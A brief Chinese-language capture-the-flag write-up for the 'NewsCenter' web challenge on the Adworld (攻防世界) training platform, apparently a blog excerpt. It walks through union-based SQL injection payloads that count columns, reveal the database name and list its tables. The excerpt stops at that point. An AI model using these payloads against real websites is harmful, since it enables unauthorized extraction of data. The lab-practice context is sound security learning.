攻防世界 web进阶 NewsCenter

看到这道题没什么头绪，扫完之后没有什么有用的信息 只有一个输入，试试sql 首先判断列，1’ order by 3# 有3列 首先去爆库 1’ union select 1,2,database()# 库是news,继续爆表 1’ union select 1,2,table_name from information_schema.tables where table_schema=‘news’

>>阅读原文<<